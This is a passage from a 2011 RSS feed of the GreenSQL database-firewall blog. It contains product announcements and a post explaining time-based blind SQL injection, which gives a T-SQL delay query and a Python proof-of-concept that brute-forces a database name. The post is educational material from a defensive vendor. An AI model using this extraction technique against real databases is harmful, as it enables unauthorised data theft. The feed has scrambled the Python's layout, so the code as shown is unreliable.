              Response.Write("&lt;br /&gt;UserName: " + un + "(" + un.Length.ToString() + ")&lt;br /&gt;Password: " + pass + "(" + pass.Length.ToString() + ")&lt;br /&gt;Total Length: " + (un.Length + pass.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/144/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=144&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2011/09/14/shortest-sql-injection-attack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>
	</item>
		<item>
		<title>Time-Based Blind SQL Injection</title>
		<link>http://greensql.wordpress.com/2011/09/01/time-based-blind-sql-injection/</link>
		<comments>http://greensql.wordpress.com/2011/09/01/time-based-blind-sql-injection/#comments</comments>
		<pubDate>Thu, 01 Sep 2011 13:35:06 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[Blind SQL Injection]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[Database hacking]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[Time-Based Blind SQL Injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=132</guid>
		<description><![CDATA[Time-Based Blind SQL Injection &#160; Overview ======= Blind SQL Injection is an attack which the attacker gets an indication for the query execution success. The attacker doesn’t get the query results. Most of the time, the indication bases on server errors or customized application errors. Time-Based Blind SQL Injection ====================== Sometimes the attacker might not [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=132&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div>
<h1></h1>
<h1>Time-Based Blind SQL Injection</h1>
</div>
<p>&nbsp;<br />
Overview<br />
=======<br />
Blind SQL Injection is an attack which the attacker gets an indication for the query execution success. The attacker doesn’t get the query results.<br />
Most of the time, the indication bases on server errors or customized application errors.</p>
<p>Time-Based Blind SQL Injection<br />
======================<br />
Sometimes the attacker might not be able to identify the query execution success, because the server/application doesn’t show any error.<br />
One of the techniques to get an indication for the query execution success called Time-Based Blind SQL Injection.<br />
With this technique, the attacker executes functions that take some time to finish (for example: Benchmark, Delay, etc.). By measuring the time took the application to response, the attacker might be able to identify if the query executed successfully or the query execution failed.</p>
<p>Discovering Database Details<br />
====================<br />
An attacker can export information from the database by using Time-Based Blind SQL Injection.<br />
For example, an attacker can brute force the database’s name with this technique:<br />
1.    Set the time before the query execution.<br />
2.    Execute the following query:</p>
<p>declare @s varchar(100)<br />
select @s = db_name()<br />
if (ascii(substring(@s,1,1))) = 65<br />
waitfor delay &#8217;0:0:10&#8242;<br />
else<br />
waitfor delay &#8217;0:0:2&#8242;</p>
<p>3.    Set the time after the query execution.<br />
4.    Calculate time it took to the query to run,<br />
4.1.    if it took 10 seconds, the first character of the database’s name is ‘A’ (ASCII 65)<br />
4.2.    if it took 2 seconds, the first character of the database’s name if NOT ‘A’.</p>
<p>Database’s name brute-forcer (Proof-of-Concept in Python):<br />
==========================================</p>
<p>Tested Environment</p>
<p>1.    Windows 7 64-bits.<br />
2.    MSSQL Server 2008.<br />
3.    Database: AdventureWorks, can be downloaded from: <a href="http://msftdbprodsamples.codeplex.com/releases/view/37109">http://msftdbprodsamples.codeplex.com/releases/view/37109</a>)<br />
4.    SQL Server Configuration:<br />
a.    TCP/IP – Enabled.<br />
b.    Authentication Mode – Both SQL Server and Windows.<br />
c.    SQL User:<br />
i.    Name: GreenSQL<br />
ii.    Password: GreenSQL<br />
iii.    Server Roles: sysadmin<br />
iv.    User Mapping: AdventureWorks</p>
<p>&nbsp;</p>
<p><strong>This code is for educational purposes only!<br />
</strong></p>
<p>Python Source Code<br />
===============</p>
<pre>
##################################################
##   GreenSQL Time-Based Blind SQL Injection    ##
##          Database Name Brute Forcer          ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import pyodbc
import time
## Connect to the DB
cnxn = pyodbc.connect('DRIVER={SQL
Server};SERVER=localhost;DATABASE=AdventureWorks;UID=GreenSQL;PWD=GreenSQL')
cursor = cnxn.cursor()
## Set variables
DBName = ''
CurrChr = 0
FirstRun = int(time.time())
ASCIIRange = range(32,126)
## Discover DB Name (Brute Force)
for i in range(1,100):
if CurrChr == 125: ## if the last loop ended without a match,
break the loop
break
for CurrChr in ASCIIRange:
str(i)
print "Trying Char: " + chr(CurrChr) + " @ position: " +
print "DBName: " + DBName
query = 'declare @s varchar(100) '
query = query + 'select @s = db_name() '
query = query + 'if (ascii(substring(@s, '
query = query + str(i)
query = query + ', 1))) = '
query = query + str(CurrChr)
query = query + ' waitfor delay \'0:0:10\'' ##if the
current character matches, wait 10 seconds
query = query + 'else '
query = query + 'waitfor delay \'0:0:2\''
2 seconds
print query
StartTime = int(time.time()) ## Set the time before query
execution (UNIX Time)
cursor.execute(query)
EndTime = int(time.time())
execution (UNIX Time)
if EndTime-StartTime &gt;= 10:
matches,
String
## Execute the query
## Set time after query
## if the current character
DBName = DBName + chr(CurrChr) ## add it to DBName
CurrChr = 1
break
## Print the findings and statistics
DoneTime = int(time.time())
print "DB Name: " + DBName
print "It took " + str(DoneTime - FirstRun) + "seconds!"</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/132/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=132&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2011/09/01/time-based-blind-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>
	</item>
		<item>
		<title>GreenSQL Express Webinar, Wednesday March 16th</title>
		<link>http://greensql.wordpress.com/2011/03/03/greensql-express-webinar-wednesday-march-16th/</link>
		<comments>http://greensql.wordpress.com/2011/03/03/greensql-express-webinar-wednesday-march-16th/#comments</comments>
		<pubDate>Thu, 03 Mar 2011 16:05:22 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[Database hacking]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[microsoft sql]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[Mysql]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=110</guid>
		<description><![CDATA[Hi Everyone, I would like to personally invite you to a GreenSQL Express Webinar, I&#8217;ll be demonstrating GreenSQL Express, the free and simple way to keep your information private and safe. On Wednesday, March 16th (just 2 weeks from now), It&#8217;s called &#8220;How to Protect Sensitive Information in Minutes: Setting up GreenSQL Express with Basic [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=110&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hi Everyone,</p>
<p>I would like to personally invite you to a GreenSQL Express Webinar,<br />
I&#8217;ll be demonstrating GreenSQL Express, the free and simple way to keep your information private and safe.</p>
<p>On Wednesday, March 16th (just 2 weeks from now),<br />
It&#8217;s called &#8220;How to Protect Sensitive Information in Minutes: Setting up GreenSQL Express with Basic Security Rules&#8221;</p>
<p>If you&#8217;re serious about protecting your data, you need to hear and see how it&#8217;s done. I&#8217;ll talk about:</p>
<p>1. Why you need a Database firewall / security solution<br />
2. Where and How to install GreenSQL Express in your infrastructure<br />
3. How to use GreenSQL Express to protect you database<br />
4. How to create the security polices you need in minutes<br />
5. How to protect your database from SQL injection attacks<br />
6. How to implement a separation of duties in your database access<br />
7. How to maintain business continuity with the Database Fallback feature<br />
8. Q&amp;A..</p>
<p>Again, this is happening online on Wednesday, March 16.<br />
Use the link below to register and find the time in your time zone.</p>
<p>Register for a webinar, <a href="http://www.greensql.com/webinar" target="_blank">Click here to register:</a></p>
<p>Don&#8217;t miss it!</p>
<p>David</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/110/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/110/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/110/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=110&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2011/03/03/greensql-express-webinar-wednesday-march-16th/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>
	</item>
		<item>
		<title>Microsoft SQL Server Security Best Practices by GreenSQL</title>
		<link>http://greensql.wordpress.com/2011/02/28/microsoft-sql-server-security-best-practices-by-greensql/</link>
		<comments>http://greensql.wordpress.com/2011/02/28/microsoft-sql-server-security-best-practices-by-greensql/#comments</comments>
		<pubDate>Mon, 28 Feb 2011 16:50:16 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
		
		<guid isPermaLink="false">http://blog.greensql.com/?p=104</guid>
		<description><![CDATA[&#160; GreenSQL has just released a new document, Microsoft SQL Server Security Best Practices : http://www.greensql.com/content/sql-server-security-best-practices &#160; SQL Server Security Best Practices<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=104&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p>GreenSQL has just released a new document,</p>
<p><a href="http://www.greensql.com/content/sql-server-security-best-practices">Microsoft SQL Server Security Best Practices :</a></p>
<p><a href="http://www.greensql.com/content/sql-server-security-best-practices"> </a><a href="http://www.greensql.com/content/sql-server-security-best-practices">http://www.greensql.com/content/sql-server-security-best-practices</a></p>
<p>&nbsp;</p>
<div id="_mcePaste" class="mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;overflow:hidden;">
<h2>SQL Server Security Best Practices</h2>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/104/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/104/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/104/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/104/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/104/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/104/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/104/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/104/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/104/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/104/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/104/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/104/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/104/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/104/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=104&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2011/02/28/microsoft-sql-server-security-best-practices-by-greensql/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>
	</item>
		<item>
		<title>From the Security threat report 2011 by Sophos</title>
		<link>http://greensql.wordpress.com/2011/02/20/sophos_security_threat_report_2011/</link>
		<comments>http://greensql.wordpress.com/2011/02/20/sophos_security_threat_report_2011/#comments</comments>
		<pubDate>Sun, 20 Feb 2011 14:49:46 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[Database hacking]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[Mysql]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=100</guid>
		<description><![CDATA[From the Security threat report 2011 by Sophos, Page 46: &#8220;Cybercrime is encroaching more and more into the business space. Industrial espionage, spearphishing of important employees to breach network boundaries and mass theft of customer information are more diffcult to detect and have very serious consequences. At the same time, network boundaries are becoming ever [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=100&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>From the <a href="http://www.sophos.com/security/topic/security-threat-report-2011.html">Security threat report 2011 by Sophos</a>, Page 46:</p>
<p>&#8220;Cybercrime  is encroaching more and more into the business space. Industrial  espionage, spearphishing of important employees to breach network  boundaries and mass theft of customer information are more diffcult to  detect and have very serious consequences. At the same time, network  boundaries are becoming ever more indistinct and porous as new  technologies enable greater access from remote workers and mobile  devices. In addition, legal requirements place greater emphasis on  traceability and compliance with predefned standards of data hygiene.</p>
<p>Increasing  amounts of sensitive data is stored, accessed and manipulated in  databases connected to company websites as businesses increasingly  interact with their customers through the Internet. As a result, it’s  become as easy to access these databases as it is to access the main  doors at corporate headquarters.</p>
<p>Security administrators face a  constant battle to maintain usability, while preventing penetration from  the outside and data loss from within. Alongside protecting network  boundaries, businesses and website maintainers are under growing  pressure to ensure that their web presence provides adequate protection  for the users of its web services.&#8221;</p>
<p>As time passes, organizations realize that Web Application Firewalls (WAF) are not sufficient to secure their back end databases.</p>
<p><strong>GreenSQL Express</strong> provides a free, commercial grade solution to protect MS-SQL, MySQL and PostgreSQL databases from known and unknown threats. <strong>GreenSQL Express</strong> includes:</p>
<p>- Database Intrusion Detection and Prevention System<br />
- Database Firewall<br />
- Separation of Duties<br />
- Advanced Risk Scoring Matrix<br />
- Database Front-end Security<br />
- Real-time Database Protection</p>
<p>Get a free copy of <strong>GreenSQL Express</strong> at <a href="http://www.greensql.com">www.greensql.com</a><br />
﻿</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/100/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/100/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/100/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/100/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/100/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/100/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/100/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/100/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/100/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/100/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/100/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/100/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/100/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/100/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=100&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2011/02/20/sophos_security_threat_report_2011/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>
	</item>
		<item>
		<title>New Community version: GreenSQL FW: 1.3.0 released</title>
		<link>http://greensql.wordpress.com/2010/10/20/new-community-version-greensql-fw-1-3-0-released/</link>
		<comments>http://greensql.wordpress.com/2010/10/20/new-community-version-greensql-fw-1-3-0-released/#comments</comments>
		<pubDate>Wed, 20 Oct 2010 08:23:06 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[Mysql]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=89</guid>
		<description><![CDATA[New Community version of GreenSQL Database Firewall, version 1.3 is now available. GreenSQL 1.3 includes new features, many bug fixes and enhancements. In this version, GreenSQL improvers the native support for PostgreSQL (http://www.postgresql.org) databases, improvers the native support for MySQL (http://www.mysql.com) databases and provides many Protocol and Network Optimizations. The Web Based GUI usability has [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=89&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>New Community version of GreenSQL Database Firewall, version 1.3 is now available.<br />
GreenSQL 1.3 includes new features, many bug fixes and enhancements.</p>
<p>In this version, GreenSQL improvers the native support for PostgreSQL (<a title="http://www.postgresql.org" href="http://www.postgresql.org/">http://www.postgresql.org</a>) databases, improvers the native support for MySQL (<a title="http://www.mysql.com" href="http://www.mysql.com/">http://www.mysql.com</a>)   databases and provides many Protocol and Network Optimizations. The  Web Based GUI usability has been improved and many bugs been fixed.</p>
<p>GreenSQL community version 1.3.0 improvements and enhancements include:</p>
<p>1. Proxies dashboard:  correctly displaying the proxy current status<br />
2. Proxies automatic reloading fixes<br />
3. Alerts include User IP Address<br />
4. MySQL and PostgreSQL protocol fixes<br />
5. Network optimizations<br />
6. Alerts &#8211; redesign and graphics<br />
7. Whitelist &#8211; redesign and graphics<br />
8. It’s now possible to remove an alert<br />
9. It’s now possible to move a whitelist back to alert<br />
10. The footer was fixed</p>
<p>GreenSQL recently released its first commercial versions, GreenSQL  Pro and GreenSQL Light, GreenSQL solutions are designed for small to large organizations assists  to increase database security, performance and compliance.</p>
<p>With many new and exciting features, including but not limited to:</p>
<p>- Microsoft SQL Server (2000/2005/2008) support<br />
- Full support for MySQL 4.x/5.x and PostgreSQL 7.x/8.x<br />
- Database Caching (for all databases)<br />
- Database SSL support (for all databases)<br />
- Superior SQL Injection detection and prevention mechanism<br />
- Brand new interface with full scale policy approach<br />
- Database activity monitoring and Full Auditing (includes the before and after view of every change)<br />
- Unparalleled performance and reliability<br />
- Auto update service for the latest attack definitions updates<br />
- Advanced Reporting, Logging and alerting<br />
- Available for Windows and Linux installations  (32 and 64 bit)</p>
<p>GreenSQL Pro is available for 30 days free evaluation at: <a title="https://portal.greensql.com/download" href="https://portal.greensql.com/download">https://portal.greensql.com/download</a></p>
<p>#1 Database security software</p>
<p>We are proud to announce that over 95,000 copies of GreenSQL have  been downloaded internationally since its first release only 48 months  ago – more downloads than any other database security vendor.</p>
<p>Thank you for your confidence in our software. Clearly, you have  approved of our efforts and have been spreading the word about the  GreenSQL database firewall.</p>
<p>GreenSQL official web site:<br />
<a title="http://www.greensql.com" href="http://www.greensql.com/">http://www.greensql.com</a></p>
<p>GreenSQL Community web site:<br />
<a title="http://www.greensql.net" href="http://www.greensql.net/">http://www.greensql.net</a></p>
<p>You can get the latest GreenSQL version from the following url:<br />
<a title="https://portal.greensql.com/download" href="https://portal.greensql.com/download">https://portal.greensql.com/download</a></p>
<p>An application installation howto is available at:<br />
<a title="http://www.greensql.net/howto" href="http://www.greensql.net/howto">http://www.greensql.net/howto</a></p>
<p>For any questions, ideas, and feedback, please join our support forum at:<br />
<a title="http://www.greensql.net/forum" href="http://www.greensql.net/forum">http://www.greensql.net/forum</a></p>
<p>GreenSQL twitter:<br />
<a title="http://twitter.com/greensql" href="http://twitter.com/greensql">http://twitter.com/greensql</a></p>
<p>&nbsp;</p>
<p>Thanks,<br />
The GreenSQL Team<br />
<a title="http://www.greensql.com" href="http://www.greensql.com/">http://www.greensql.com</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/89/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=89&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2010/10/20/new-community-version-greensql-fw-1-3-0-released/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>
	</item>
		<item>
		<title>Announcing the release of GreenSQL Pro and GreenSQL Light</title>
		<link>http://greensql.wordpress.com/2010/09/19/greensql-release/</link>
		<comments>http://greensql.wordpress.com/2010/09/19/greensql-release/#comments</comments>
		<pubDate>Sun, 19 Sep 2010 15:55:15 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[microsoft sql]]></category>
		<category><![CDATA[Mysql]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=84</guid>
		<description><![CDATA[We are proud to announce the release of GreenSQL Pro and GreenSQL Light, our first commercial Unified Database Security solutions, designed to provide all organizations &#8211; from small and medium businesses all the way to large enterprises &#8211; robust database security at an affordable price. &#8220;Commercial Unified Database Security solutions&#8221; is a mouthful. Let&#8217;s look [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=84&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>We are proud to announce the release of GreenSQL Pro and GreenSQL Light, our first commercial Unified Database Security solutions, designed to provide all organizations &#8211; from small and medium businesses all the way to large enterprises &#8211; robust database security at an affordable price.</p>
<p><img src="https://4b872b4983-custmedia.vresp.com/fd095efe16/Final_UDS%202.jpg" alt="Final_UDS 2" width="351" height="356" /></p>
<p>&#8220;Commercial Unified Database Security solutions&#8221; is a mouthful. Let&#8217;s look at what that means.</p>
<p>For us, commercial has several meanings. First, we have designed GreenSQL Pro for commercial organizations; second, we charge a modest fee for it; and third, unlike our open source code, we take full responsibility for it.</p>
<p>How about unified? To be unified, something must first have parts. GreenSQL Pro and GreenSQL Light include many aspects of database security within them, all contributing to their primary mission: securing databases. We&#8217;ll be discussing some of those aspects below.</p>
